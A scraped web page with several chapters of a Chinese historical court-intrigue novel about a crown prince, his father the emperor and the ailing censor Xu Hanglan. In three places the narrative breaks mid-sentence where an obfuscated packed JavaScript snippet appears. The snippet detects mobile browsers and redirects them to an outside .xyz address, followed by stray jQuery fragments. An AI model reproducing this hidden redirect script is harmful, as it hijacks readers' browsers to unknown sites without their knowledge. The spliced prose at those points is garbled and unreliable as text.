纪重珝看着徐珩阑——玉雕似的脸,看外表似乎有些孱弱,可莫名有一种让人心安的感觉,可他明明和她素不相识。
“父皇,儿臣万不敢做出此等事来。不如就让徐侍制一试,想来这无毒之酒,也不会让徐侍制有性命之忧的。”
“既然你这么说,那就让他试吧。”
纪铭又向徐珩阑冷声道:“若是你喝了后安然无恙,就离了漳京,到别处另谋高就吧。”
若没毒,徐珩阑就会被贬出京,相当于这么多年的努力,还有寒窗苦读,都会成了泡影。
一时场上鸦雀无声,众人都屏息等着徐珩阑的反应。纪重珝不动声色地看了看徐珩阑,心里隐隐地有些相信她的话。
徐珩阑一笑,起身就夺过那杯酒,仰头一饮而尽。
那架势,竟然有几分豪迈。
时间一分一秒地过去,在徐珩阑咽下最后一滴酒后,什么都没有发生。
纪杰琨嗤笑道:“徐侍制,有毒没毒,现在总清楚了吧?”
窃窃私语声像瘟疫一样在人群中蔓延开来,徐珩阑却低着头,迟迟不说话。
突然,徐珩阑捂着胸口,黑红色的血顺着嘴角流出,一开始只是“涓涓细流”,到最后整个泄出来,似乎连五脏六腑都吐了个干净。她痛苦地俯下身,瘫倒在地上。
“快传太医!”人群一下子炸了锅,混乱中不知是谁高声说了一句。
突然电闪雷鸣,大雨冲洗地面上的血迹。血水顺着地面的纹理,沾到了纪重珝的靴边。
“三郎啊三郎,我真是小瞧你了。”
在纪杰琨被纪铭下旨赶出漳京时,他这么向纪重珝说道。在那之前,纪重珝的人生像古井一样乏味,可只是经过短短几个时辰,纪重珝的人生就发生了翻天覆地的变化。野心、权力在一瞬间把他推上风口浪尖,雨里都是带毒的血,淋湿他的影子。
后来纪杰琨被封为“顺王”,本来板上钉钉的继承人,一夜之间成了丧家犬,起身前往千里之外的白州。
而这一切,都源于那一盏酒。年轻的徐侍制冒死饮下的那一杯毒酒,既荒唐又诡异。后来他本欲前往府上慰问,但奈何碰巧介贤侯病逝,徐珩阑卸职回乡。他刚刚抵达徐府,就碰上了收拾行李的家仆,而徐珩阑也早已踏上去辰州的路,两人刚好擦肩而过。
“徐行这人……朕不太喜欢他的做派,你还是少接近他为妙。”
在听说纪重珝去徐府后,纪铭在昏暗的御书房这么和他道。后来枢密使韩梓熙拜访东宫,和他提起了那件事——也就是因此,纪重珝和徐珩阑第一次有机会共事。
“虽说少了顺王这个劲敌,可这朝野上下,能为殿下所用的人,却还是寥寥无几啊。”
闻言,纪重珝笑问道:“韩师傅有何高见?”
韩梓熙应道:“这也简单,把老臣挤走,换新贵来就是了。”
纪重珝听出来他的意思,只是嘴上仍试探道:“如此未免也太……张扬了,官家也不会同意的。”
韩梓熙笑着捋了捋胡须,“去年先太子战败殉国,殿下难道不觉得蹊跷吗?”
纪重珝心里暗想这老狐狸果然心狠手辣、老奸巨猾,真真是算盘打得巧妙。
“燕州军费亏空,殿下在御前略提一提,到时一大查,自然有人就露出马脚了。”
三年后,在秋明轩,韩梓熙的话经纪重珝之口说出来,恍若是做梦,似乎三年前的酒意到现在还没消干净,人还是那么醉醺醺。
“殿下是说……殿下请命彻查燕州军费一事,实际上是韩枢相……”徐珩阑一时不知该怎么说,而且真正让她惊讶的其实并不是韩梓熙怎么样,而是……
“殿下那日……替臣挡刀,也是因为此事?”
纪重珝不说话,徐珩阑只当他是默认了。
徐珩阑长呼一口气,渐渐放松下来,尝了尝这合欢花酒——花香里带着甜,酒味倒不怎么浓。
当年纪杰琨手上的那杯酒,说是有毒其实也不太准确,事实上应该是酒杯上抹了毒。此事徐珩阑能知晓,还是钱正言告诉她的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299176|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
徐珩阑看了纪重珝一眼——纪重珝救了她一命,此时又突然提起韩梓熙提议他培养势力的话,纪重珝是什么意思已经很明了了。
他要拉拢徐珩阑,让她成为自己的党羽。
纪重珝正色道:
“官家御宇多年,宵衣旰食,今岁华渐长,又为政务操持,致龙体微恙,孤心忧如捣。为人子女,于情于理,皆盼能尽绵薄,稍解官家烦忧。先生智谋深远、赤诚在心,孤意与先生携手,于暗中襄助官家,为其分劳,不知先生可否允同?如此,或可护官家安康,保社稷顺遂。”
真是图穷匕见了啊。徐珩阑本以为纪重珝是个不争不抢的人,自被封太子以来,就一直唯纪铭是从,从未做过出格的事来。
可明面上不争不抢的太子,实际上却早已拉拢了枢密使,在暗地里培养自己的党羽,养精蓄锐。
想到这,徐珩阑作揖道:“能得殿下如此赏识,实在是让微臣惶恐。”
纪重珝轻笑,又为徐珩阑斟满酒。
“不知先生有何顾虑?”
明知故问,照徐珩阑现今这个身份,抛开皇帝去辅佐太子,怎么说还是有风险。到时若是纪铭忌惮纪重珝势力,第一个便要拿徐珩阑开刀。流放、被贬或是被迫辞官,她需要谨慎考虑。
徐珩阑问道:“若微臣愿意追随,殿下承诺给臣什么呢?”
纪重珝一笑,轻声道:“先生尽管提,凡孤力所能及,必全力相允。”
“微臣斗胆,心向宰辅之位,不知殿下能否成全?”
“若孤允了,先生便会答应吗?”
徐珩阑一怔,一时不知该如何应对。
“中丞打从一开始,就不愿与孤共事吧?”纪重珝抿了抿酒,他此时表情让徐珩阑很陌生。
她仿佛第一次认识真正的纪重珝。字字句句都说错了,步步都是错——她太自大了,她只顾着对付外敌,却恰恰低估了眼前这个未及冠的太子。
“孤从未与重臣私下里有来往,那日却在徐府留宿。”纪重珝低头笑道,“有一事中丞恐怕不知,徐中丞那日被人诬陷入狱,孤自作主张,入宫向官家求情。”
纪重珝平时不声不响的,就算容貌出众,却也能让人轻易忽略他的存在。此时一笑,却如雨后幽兰,摄人心魂,只是总像是淬了毒,不禁让徐珩阑想起那年她咽下肚的毒酒。
“身正也怕影子斜,中丞没有回头路了。”
“殿下好手段。”徐珩阑确实没想到他还有这么一手,不过这只能怪徐珩阑自己放松戒备。
“只是徐某才疏学浅,殿下为何要……”
“若不使些手段,你也不会答应。”
徐珩阑笑容一僵,忙抬头看纪重珝。他刻意避开徐珩阑的目光,继续道:
“先生不必妄自菲薄,当年的探花郎,怎会是‘才疏学浅’呢?”
说着,纪重珝便起身,动作似乎有些慌忙,刚刚的从容被徐珩阑的目光烧成了灰烬。
“刚刚殿下说了那么多,可偏偏没提……”徐珩阑一顿,看着纪重珝的气息肉眼可见地被扰乱。
“我还有一个疑问。殿下为何……要为臣挡那一刀?”
纪重珝的脸在月光下被模糊了轮廓,越发显得如梦似幻。
“那年我与殿下,是不是在私下里见过面?”
“叫‘殿下’怪生分的,直接叫名字,我不介意的。”
扔下这么一句没头没尾的话,纪重珝走了。徐珩阑看着他的背影,喃喃道:
“真是个怪人。”
12. 病中丞入禁求特赦 贤太子出堂礼睿才
“哒——”
说书人眯眼看着下面昏昏欲睡的看客,一收扇子,故作神秘道:
“既然诸位看官觉着我这故事乏味,不如让我给诸位讲些朝堂秘辛?”
说着,他满意地摇了摇手里的折扇,讲道:“列位看官,且听我言。想那林国公,真真儿是爱才若渴之人呐!他老人家一双慧眼,不知相中了多少璞玉,又亲手提携了多少才俊之士。就说近日那风头无两的徐台长,便是承蒙了林国公的大恩,才得有今日这等风光。”
“但是……”
说书人一敲醒木,继续道:“这位徐中丞,竟做出这等恩将仇报之事。您瞧瞧,就这几日,那架势,明摆着是要将自己的恩公林国公给扳倒啊!啧啧啧,这等忘恩负义之举,实在是让人齿冷呐!”
徐珩阑正乘轿准备入宫面圣,突然听到这么一番话,让她不禁侧目。
她问道:“是谁在说话?”
暗云掀开帘子的一角,看了看,回道:“回侯爷,是路边说书的。”
“现在连市井小民都知道我要与林乾钧作对。”徐珩阑冷笑道。
暗云一愣,听出了语气里的不快。徐珩阑打昨日和纪重珝见面后就有些异常,就算是跟了徐珩阑许久的暗云,此刻也有些摸不清徐珩阑的脾气。
“殿下昨日……是和侯爷说了什么吗?”
“说了什么?”徐珩阑扶了扶官帽,“与其问他‘说了什么’,不如问他‘做了什么’。”
“此话怎讲?”
“没什么好讲的,不过是从一个贼船,又被拉到另一个贼船罢了。”
暗云见徐珩阑不愿细说,便不再问。
今日休沐,徐珩阑却突然被宣召入宫。纵然徐珩阑心里忐忑,但还是换上朝服,大清早就乘轿入禁。
纪重珝也在清晨时回宫,只是两人走的时间偏偏不在一起,因此便错过了。
“也不知官家宣侯爷入宫,是为了何事。”暗云忧心忡忡,边替徐珩阑整理官帽边说道。
“恐怕不是什么好事。”
暗云看着她的脸,又问道:“朝中又有人弹劾了吗?”
“要只是弹劾倒还好办。”徐珩阑沉声道,“昨日朝中官员联名上书,上面有名有姓的就有几十人。那奏疏可是字字见血,竟然明着问官家是不是要卸磨杀驴,故意借军费一案清算老臣。”
“但事实上呢?”暗云追问道,“真是要清算老臣吗?”
“不知道。”徐珩阑深吸一口气,又缓缓吐出来——看得出来她有点紧张。而暗云眼中的徐珩阑从来都是胸有成竹的,好像从未被什么事吓倒过。今日她却肉眼可见的有些摇摇欲坠了。
“官家要拿我当挡箭牌。”
徐珩阑面无表情地看着前方,又低声道:
“是生是死,要看我自己造化了。”
轿子到了宫门前,碰地发出一声闷响。
“你也不必太过担心,若有什么事,我会想办法叫人传话出去的。”临走时,徐珩阑见暗云一脸愁云,开口安慰道。
“侯爷先顾好自己吧。不用给我递话,我相信侯爷不会有事的。”
徐珩阑朝她一笑,在江离的搀扶下下了轿。几个内侍省宦官已在宫门外等候。
“请吧,徐台长。”
在经历一番检查后,宦官引徐珩阑到了待漏院,等候皇帝的召见。
徐珩阑手持象牙笏,不知站了几个时辰,迟迟无人来传话。她有些撑不住,手上的象牙笏有些晃。
“公公,容微臣冒昧叨扰,官家或于何时得暇?”
“官家日理万机,还请台长不要心急,稍候片刻。”
徐珩阑心想这哪里是“稍候片刻”。虽然徐珩阑不知道现在什么时辰,但看外面的天色,她至少在这里等了三个时辰。
“岂敢岂敢。”纵是心里再多不满,徐珩阑也只能笑着回道,“多谢公公。”
徐珩阑心知自己不比沈怀真,到底是关系硬,一说要入宫面圣,恐怕纪铭会推了别人,第一个先见沈怀真。
徐珩阑现在想想昨日的纪重珝,真是想都不敢想的礼遇了。徐珩阑不禁暗想:或许被拉上贼船,也不算一件坏事。
想了一半,徐珩阑就不禁在心里笑自己傻。纪重珝说是拉她入伙,但到最后还是什么都没承诺。
纪重珝话说得好听,可若是哪日纪铭觉得太子党威胁到了自己,纪重珝为保太子之位,到时拉几个倒霉鬼出来,就说自己是被奸臣蛊惑了。
毕竟他和皇帝是父子,纪铭再忌惮,也不至于把自己亲生儿子怎么样。但徐珩阑他们这些党羽就不一样了。尤其是徐珩阑这种根基尚浅的,更容易成了牺牲品。
可若是徐珩阑安安分分地当她的御史,像许比玉沈怀真等人一样保持中立,每日把祖宗礼法挂嘴边,无论谁继位都是安全的。
胡乱思索间,终于有人来宣徐珩阑觐见。徐珩阑暗暗松了一口气,跟着内侍到了垂拱殿。
御前徐珩阑不敢失礼,忙伏拜道:“臣徐行叩见陛下,吾皇万岁万岁万万岁。”
殿内,纪铭正用水晶镜片看案牍,紧皱着眉头。一个内侍上前,先和严总管低声汇报,严总管又走到纪铭身前,小心翼翼地和纪铭不知小声说了什么。
纪铭一扔镜片,冷声道:“平身吧。”
“谢陛下。”
徐珩阑站起身,可眼睛仍看着象牙笏。
“朕闻,迩来燕州军费一案,朝野上下,于徐卿啧有烦言。”
果然,纪铭不愿与百官起争执,因此只能拉徐珩阑出来当替死鬼。
此刻纪铭还没发问,徐珩阑还不能开口,只得继续听纪铭说道:
“自你甫任其职,连鞫四五官员,乃至签书枢密院事亦为你所黜落。朕擢你为御史中丞,冀以正朝纲、端风气。然你擅自专断,早违朕之初衷。如此行径,该当何罪?”
闻言,徐珩阑急忙跪地,顺着纪铭的话道:“臣罪该万死,伏乞陛下怜宥,赦臣之罪!”
纪铭眯了眯眼,看了她半晌。他本以为徐珩阑会为自己辩解,没想到这么干脆地应下,倒也省事。
“赦罪?你竟有此等大言!今你遗此乱局于朕,若不能谋得良策以解困厄,便去与那宋金相伴,方知朕法之严!”
纪铭边说边将昨日的联衔奏疏扔到她面前。徐珩阑瞟了一眼,应道:
“臣斗胆,幸得一策,愿呈于陛下,望陛下垂听。”
纪铭意味深长地看着她,捋捋胡须,问道:“有何计策?”
“伏蒙圣问:今燕州之案,主犯犹未查获,便已致使朝中人心惶惶,此恰证主犯势力盘根错节、枝叶蔓衍。纵以惩处微臣之举,塞众人之口,亦不过扬汤止沸,难收治本之效。”
纪铭的心思被徐珩阑一语道破。纪铭冷笑一声,但还是让她继续说。
“故欲除此毒瘤,使之根绝,仍需彻查深究,且当专注于主犯。兵法云:‘擒贼先擒王。’若主犯伏法,余者自当如鸟兽散,如此,陛下之忧,亦可涣然冰释。
“此举非为微臣脱罪,实乃为江山社稷计。臣唯愿为陛下分忧,若能纾陛下之忧,纵受千刀万剐之刑,臣亦毫无怨言。望陛下明察,恩准微臣继续查案,以肃正朝廷之风。”
“你倒是聪明,难怪太子亲自上门拉拢。”
拉拢?徐珩阑没想到纪铭竟然这么直白,
是想试探她的反应吗?徐珩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299177|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阑不敢妄动。纪铭又继续道:
“朕给你一个月的时间,若三十日之后,还不能给朝堂个交代,你就等着领罚吧。”
“谢陛下。若臣逾期,甘愿受罚。”
纪铭好像没看见似的,又戴上水晶镜片,看了许久公文,徐珩阑就一直等着。
殿内十分安静,只听得到翻动纸页的声音。
等纪铭了却公事,准备用午膳时,终于想起徐珩阑还在等着,轻飘飘说了一句:
“徐卿且退下罢。”
“谢陛下……”
没等徐珩阑说完,纪铭就走了。徐珩阑走也不是,不走也不是。还是一旁的连都知看不下去,向她笑道:
“台长,可以走了。”
徐珩阑笑着道谢,如获大赦,松了一口气,等到出了垂拱殿,刺眼的阳光让徐珩阑睁不开眼。
“都这么晚了。”徐珩阑暗道,此时已是正午,不知暗云是否还等着,恐怕心里也很焦急。可徐珩阑还不能走,她还有一件要事要与纪重珝商议。
又在内侍的引导下,徐珩阑步至东南角徽音门前。因她兼任东宫属官,所以没费什么工夫便进宫了。
此刻,资善堂内,翰林院余介林正与纪重珝议事。
“殿下,改税法不过权宜之计,犹扬汤止沸,难解当下困局。今岁以来,百姓生计维艰,水深火热,叫苦之声盈于闾巷,积怨已久。今忽议加税,虽情非得已,然苛捐并作,恐激民愤,危及江山根本。恳请殿下谏于官家,祈其深思熟虑,谋长久之策,以解民困,安邦定国。”
纪重珝安抚道:“孤明白老师的忧虑,只是不瞒老师说,今日已有四五个人来东宫,请孤劝官家三思的了。现今的情形老师也看到了,朝中百官争执不下,加税与否,恐怕还没有定论。近日呈于官家案头,关于税法的奏疏,官家竟一概驳回,未曾一阅。”
余介林还有话欲说,怎料夏总管突然俯身向纪重珝小声说了几句。
“殿下,徐台长到了。”
闻言,纪重珝神色一变,脸上突然出现了一点属于他这个年龄的鲜活,不过只是短短一瞬。
他很快转头向余介林笑道:“老师稍候片刻,孤有个要客,不得不迎,先失陪了。”
余介林一愣,笑着回道:“时候也不早了,臣也就不在此叨扰殿下了,告退。”
“老师慢走。”
纪重珝送余介林出了资善堂,临走时,余介林朝纪重珝道:“殿下,你和从前很不一样了。”
“毕竟过了这么多年,想不变也很难吧。”
余介林点点头,又道:“按理,臣作为现任太傅,不该和殿下讨论这些,只是臣见……罢了,不说了,免得惹人口舌。殿下不必送了。”
纪重珝笑容渐渐变淡,客气地与余介林告别。确实,余介林今日到东宫和纪重珝讨论政事,已经是越界了,难免不落人话柄。不过余介林想说却没说出口的,纪重珝也深有感触。
“世风日下……”纪铭的老师沈柏,归隐前曾这么和纪铭说过。当时众人都觉得此话荒唐,现今看看真是一语成谶。
沈柏功成身退,为了名声,不淌官场这污水。
可纪重珝仍旧觉得他可笑,他倒不是不信“世风日下”,他只是笑这些穷儒,王朝气数还没尽,倒已经急着唱衰脱身了。
思索间,纪重珝刚好碰上了徐珩阑。纪重珝知道她是从皇宫来的,只是不知为何她比上次见面憔悴了许多。传言徐珩阑有不治之症,看来并非夸张,是真的了。
见纪重珝来,徐珩阑忙行礼,强笑道:“还劳殿下亲自来,真是折煞微臣了。”
“先生不必在意这些虚礼。候先生多时了,快请进。”
13. 徐珩阑东宫求差遣 林立泽金殿怀异心
“候先生多时了,快请进。”
徐珩阑微笑着点点头,可再怎么强颜欢笑,苍白的脸色也藏不住。
“我看时候也不早了,先生若不嫌弃,不如留下来用饭?”
徐珩阑一愣,但想想现在确实是饭点,纪重珝这么一番话也合情合理,便应道:“多谢殿下费心,那便恭敬不如从命了。”
纪重珝笑着点点头,又瞥见徐珩阑苍白的面容,一时不知心里什么滋味。虽是怕引人怀疑,但徐珩阑那副病容还是像针扎似的,让他不安心,如鲠在喉。
待两人都坐下后,徐珩阑开门见山道:“微臣此番,是想和殿下商量一下之后的对策。”
纪重珝示意夏烨,夏烨忙知趣地告退,连带着屋内的其他内侍,一并出去。
“官家今早宣臣入宫,提了一下联衔奏疏的事。官家恐怕想惩处微臣,好来堵住悠悠众口。”
徐珩阑继续道:“只是……微臣斗胆向官家提议:查办主谋,才是现今的破局之法。”
“主犯是谁,先生看来已经有眉目了。”
“不只是微臣有眉目。”徐珩阑看着纪重珝,那眼神仿佛要洞穿他,“官家和殿下恐怕也早已知道。殿下拉微臣入局、官家差微臣查处主犯,都只指向一个人——林乾钧。”
闻言,纪重珝笑了笑,也看向徐珩阑道:“有一点不对,拉先生入局,是孤自作主张,和林国公没什么干系。”
“无论如何,臣想,殿下总要知道我们面对的是什么人。”
我们?纪重珝一怔,没想到徐珩阑这么快就接受了自己转为太子效力的事实。
难道她原来也有此意?纪重珝不禁胡思乱想,但面上不显,继续问道:“此事是个豪赌,赌赢了,先生便能在京中彻底站稳脚跟,也能彻底坐稳台长之位。”
“那要是……赌输了呢?”
纪重珝失笑,深邃迷人的眼睛看向她,轻声道:“先生会输吗?”
徐珩阑一时被那双眼睛吸引,仿佛笑意也在他的眼睛里荡起了涟漪,波光粼粼,比任何昂贵稀有的宝石都要惊为天人。
“当然不会。”徐珩阑笑道,露出洁白整齐的牙齿,“我从来没输过。”
夏烨在门外突然道:“殿下,午膳已然备妥,还请移驾明贤轩。”
“那便走吧。午膳后再议。”
徐珩阑应下,随纪重珝前往前厅。路上,徐珩阑步履肉眼可见的有些不稳,毕竟站了一上午。纪重珝走在前面,心里有些在意。
这么一想,徐珩阑确实是从遇刺那晚开始,就一直在透支自己的体力。
那晚徐珩阑在廊道晕倒,恐怕也是因为忧劳过度、心力交瘁。几天几夜连轴转,就算是铁打的身子,也要脱层皮,更何况是徐珩阑这多病之身。
想到这,他微微转头看了看徐珩阑。
她的五官还是像玉刻的,既柔和又刚硬,冰冷且不近人情,一切窥探都被玉的外壳击溃。
徐珩阑注意到了纪重珝的目光,微微一歪头,也看向他。纪重珝自然地避开她的目光。
徐珩阑这几日身上不痛快,食欲大减,只吃了几片笋,吃了半碗粥便停了。倒也不知是不是纪重珝的伤刚刚痊愈的缘故,午膳清淡,不过这也正合了徐珩阑的意。
不过就算是清淡饮食,这宫里的饭菜较从前也太寒酸了些。想起众人都传宫中吃穿大不如从前,徐珩阑现在看看,竟然是真的。
一时宫人拣收出去了。几个内侍捧了沐盆,两人盥漱已毕。又有人上了茶,屋内众人便都退出去了,只留他们两人。
刚刚安定下来,还没等徐珩阑说话,夏烨就逆着人流进来,俯身向纪重珝道:
“殿下,韩枢相求见。”
夏烨的声音说大不大,说小不小,偏偏让一旁的徐珩阑听了个真切。徐珩阑神色不动,只坐在一旁吃茶。
纪重珝听夏烨如此刻意,便也猜得出夏烨另有企图,又想起今早韩梓熙和他说过的话,虽然心里不满,但还是吩咐道:
“孤有事缠身,让他等着吧。”
夏烨应下,临走时还笑着和徐珩阑施礼,徐珩阑点头回应。
“林国公不比宋金。宋金虽然狡诈,但好在愚蠢,要对付他还是容易的。但林国公可不一样,臣在辰州时也与林国公有过交集,那人当真是……”
有交集?纪重珝眉梢一动,据他所知,徐珩阑和林国公可不是“有交集”这么简单。林乾钧和徐珩阑的父亲徐泽十分亲近,情同手足。
林国公和朋友的独子,可能只是“有交集”吗?而且林国公在徐珩阑刚刚考中探花时,就为她安排了辰州通判的职位,哪怕是探花,一开始就担任如此要职,这也依然令人艳羡。
更不必提林乾钧后来拜托吏部尚书林乾锐,推荐徐珩阑到京任职。徐珩阑当的还是前途无量的殿中侍御史。可以说,徐珩阑能有今天,有一半是靠林国公提携。
此刻徐珩阑却轻描淡写地说两人只是“有交集”,这背后必然有什么隐情,而且还是和徐珩阑在辰州的经历有关。
徐珩阑似乎也看出来纪重珝有点心不在焉,顿了一下道:“臣听闻,朝廷心系战后灾民,欲行安抚之举,然而现今尚未定下适任之人?”
“先生的意思是……”
徐珩阑点头笑道:“正是,臣三思之后,以为若能为殿下效力,首要之事,乃收揽民心,此为根基。再者,燕北驻军乃林乾钧在任时悉心操办而成。倘若欲觅林乾钧之破绽,前往燕北,实乃良策。”
纪重珝认同地点了点头,“朝廷的确还未定下燕北安抚使的人选,若是让林党操控,也只会派他们的人去。趁现在官家对林党有些忌惮,我们先发制人,没准还真能破局。”
他抬起头,坚定道:“孤下午就去见官家。”
徐珩阑笑道:“那真是多谢殿下了。”
“为朝廷效力,乃你我之职责,有何谢不谢的?都是为官家分忧罢了。”
徐珩阑走后,纪重珝就入宫面圣,正巧众人在崇文殿议事。
一入殿,纪重珝就看到了站在一旁的韩梓熙,与他一起的还有同平章事钱正言、参知政事林兴怀、以及三司使陆泌。
纪重珝向纪铭施礼。
纪铭沉声道:“你来得正好,朕和这几个大员正在议燕北战后重建之事。”纪铭用手指了指下面的官员,“这么几个朝廷大员,吃着朝廷的俸禄,竟一个法子也想不出来。正好你来了,不妨也说说看,燕北百废待兴,国库又拨不出款,该如何是好啊?”
“陛下。”陆泌忙站出来道,“并非臣等故意不想法子,只是这几年漳北、漳南的旱灾,江南又发了百年一遇的大水灾,再加上前年燕北的军费,给契人的岁币,还有各路各项支出,宫中用度……”
“咣——”纪铭抄起案上的砚台就朝陆泌扔,陆泌紫色的朝服上溅了几滴墨,他带着墨迹的脸顿时吓得惨白,腿一软,忙跪下。
“宫中用度?你还敢提宫中用度?宫中都节俭成什么样了?倒是你们这些京中权贵,个个富得流油。朕看既然要节流,不如就从你们这些拿钱不办事的人节起!”
“陛下切勿动怒!微臣罪该万死,竟口出妄言,实在是糊涂至极。陛下万金之躯,肩负天下苍生,怎能因微臣这等蠢笨之语,气坏了龙体。还望陛下宽宏大量,饶恕微臣这一次的鲁莽啊!”
林兴怀也道:“陛下还是要注意身体,若陛下倒下了,我朝江山社稷,可就没了主心骨啊。”
纪铭冷哼一声,瞪了陆泌一眼,又朝纪重珝道:“让你说,怎么不说了?”
“回陛下,至于燕北之重建方略,儿臣以为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299178|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当务之急,乃亲赴其地,详加察访。夫山川形势、风土人情,各地殊异,唯有因势利导、因地制宜,方能谋得良策。待臣等亲睹燕北之实状,再行定夺,方可拟定确切之重建举措,以复燕北之盛也。”
纪重珝确实说中了当前的要害之一,京官们确实没几个真真切切到过现场,现今的信息都是靠着地方官上奏。纪铭也苦于不知实情,这段话也确实说中了他的心病。
但纪铭嘴上还是道:“哼,只会说些虚的。派安抚使的事,你之前提过,今日放到大家面前来,诸位觉得,此法可行否?”
林兴怀率先道:“那自然是可行的。”
“钱呢?钱从哪里出?”纪铭继续道,“总不能砸锅卖铁吧?”
陆泌忙笑道:“陛下,国库虽困难,但也不至于一文钱也拿不出,只是远不够重建罢了。”
林兴怀顺着他的话道:“既然国库拿不出钱重建,那便借钱重建,好能解一时之困。”
“借债?”韩梓熙很难以置信,“林参政应该也知道‘债台高筑’的典故吧?”
韩梓熙继续咄咄逼人道:“而且,向谁借?怎么借?若是和富商财主借,林参政怎么能保证他们愿意借钱?借了之后怎么还?还不了怎么办?林参政想过吗?”
“问得好。”林兴怀捋了捋已然全白的胡须,“臣也自知此事有风险,只是现今这情形,若不走一步险棋,恐怕是破不了局啊。”
“既然有这法子,为何不早说?”纪铭怒气渐消,“你倒说说,韩梓熙那几个问题,怎么解决?”
林兴怀向纪铭行了礼,又向韩梓熙俯身,从容道:“诗经有云:‘溥天之下,莫非王土;率土之滨,莫非王臣。’韩公也提到了,若要借债,应是向富商财主借。就算是富商财主,钱也应是朝廷的、是陛下的,此刻朝廷有难,向他们借钱,合情合理。”
崇文殿上的官员,只有韩梓熙敢和林兴怀叫板。因此韩梓熙又问道:“到底怎么借?林参政说了半天,也没说到点子上。”
“只四个字:‘软硬兼施’。”林兴怀继续道,“至于怎么还,等以后收了赋税,到时候再还就是了。”
话说得轻巧,最后这事还是要压到陆泌身上,具体怎么实行,都要看陆泌怎么办,或者说陆泌下面的人怎么办。
纪铭也无心多问,“有方略了就好,那就让他们户部去办吧——陆泌。”
陆泌忙慌慌张张地行礼。“臣在。”
“你也听到了,‘软硬兼施’。”纪铭说这话带着明显的笑意,“林参政,你和他一起,把钱的事尽快解决了。”
林兴怀也笑了,韩梓熙不动声色地看了看他。
林兴怀道:“臣遵旨。”
纪重珝有话欲说,这“软硬兼施”四个字,不知道有多大的漏洞,纪铭竟然连问都不问,就交给陆泌全权负责。
只是韩梓熙朝他使了个眼色——纪铭近日情绪很不稳定,恐怕是年纪大了的缘故。
纪铭想要的,并非是两全之法,而是尽快把这事从案上撤下去。他不想再因为这个事讨论个没完,韩梓熙自然也不会让纪重珝不识趣地挑毛病。
纪重珝只得作罢。奈何纪铭看出来他有话想说,故意问道:“想说什么?”
“陛下,安抚使人选还未定下来,不如趁诸位大员都在,把安抚使的人选定下了。”
“这倒是。”纪铭笑了笑,又道,“你们有什么合适的人选,尽快提出来,明日就让他启程去燕北。”
林兴怀突然站出来,一旁的纪重珝和韩梓熙不动声色地对视了一眼。钱正言一直低着头,自从进了大殿之后他就未发一言,此刻自然也插不上话。陆泌则嘴唇发抖,惨白着个脸。
“陛下,派安抚使既然是殿下提出来的,那还是由殿下来举荐一个适任之人吧。”
14. 机关算尽反被君误 方略说半却因世兴
“陛下,派安抚使既然是殿下提出来的,那还是由殿下来举荐一个适任之人吧。”
韩梓熙心里暗暗骂娘——林兴怀老奸巨猾,直接把矛头转向纪重珝。这样一来,就相当于明着说纪重珝此番另有谋图,说是为朝廷分忧,但实际上是想借机培养自己的势力。纪铭就会心生猜忌,未必就会任用太子举荐的人。
钱正言和陆泌又是只会出气的哑巴,根本不敢有什么意见,到时任命权就还是落在了林兴怀这里,他也能顺理成章地安排自己人。
况且,纪铭现在已经对林党有些不满,现在林兴怀贸然推荐人,纪铭也不会顺他的意。因此林兴怀只能绕一个弯,挑拨纪铭父子间的关系,好让纪铭无可奈何,只能让林党的人任命。
林兴怀机关算尽,怎知纪铭点了点头,朝纪重珝道:“林爱卿说得在理,那便太子推荐一个人吧。”
纪重珝忙道:“儿臣不敢欺瞒父皇,心中确有一合适人选。御史台徐行,此人对朝廷忠心耿耿,矢志不渝。昔日辰州水患,他亲赴灾区,全力赈灾,举措得当,政绩卓然,令百姓感怀,为朝廷分忧。儿臣思忖,此番前往燕北,朝中诸臣,唯徐行最为适宜,定能不负圣望,妥善完成使命。”
“徐行?”殿中除了陆泌和钱正言,众人都面露惊愕,尤其是林兴怀的脸色有些难看。
众人都屏息看着纪铭的反应,只见纪铭思索片刻,缓缓道:
“准奏。”
待众人都退下后,纪重珝也欲走,纪铭突然开口道:
“你略停一停。”
纪重珝脚步一顿,等内侍关了门,他转过身来。
“这个徐行,果真有几分本事。”纪铭眼睛盯着他,“竟让你这个太子也给他办事了。”
“都是为朝廷分忧……”
“朕不想听这些大话!”纪铭一甩袖子,“珝儿啊,你别觉得朕多事,朕是忧心你被这些有心之人利用了去,到时……也落得和朕现今一般。”
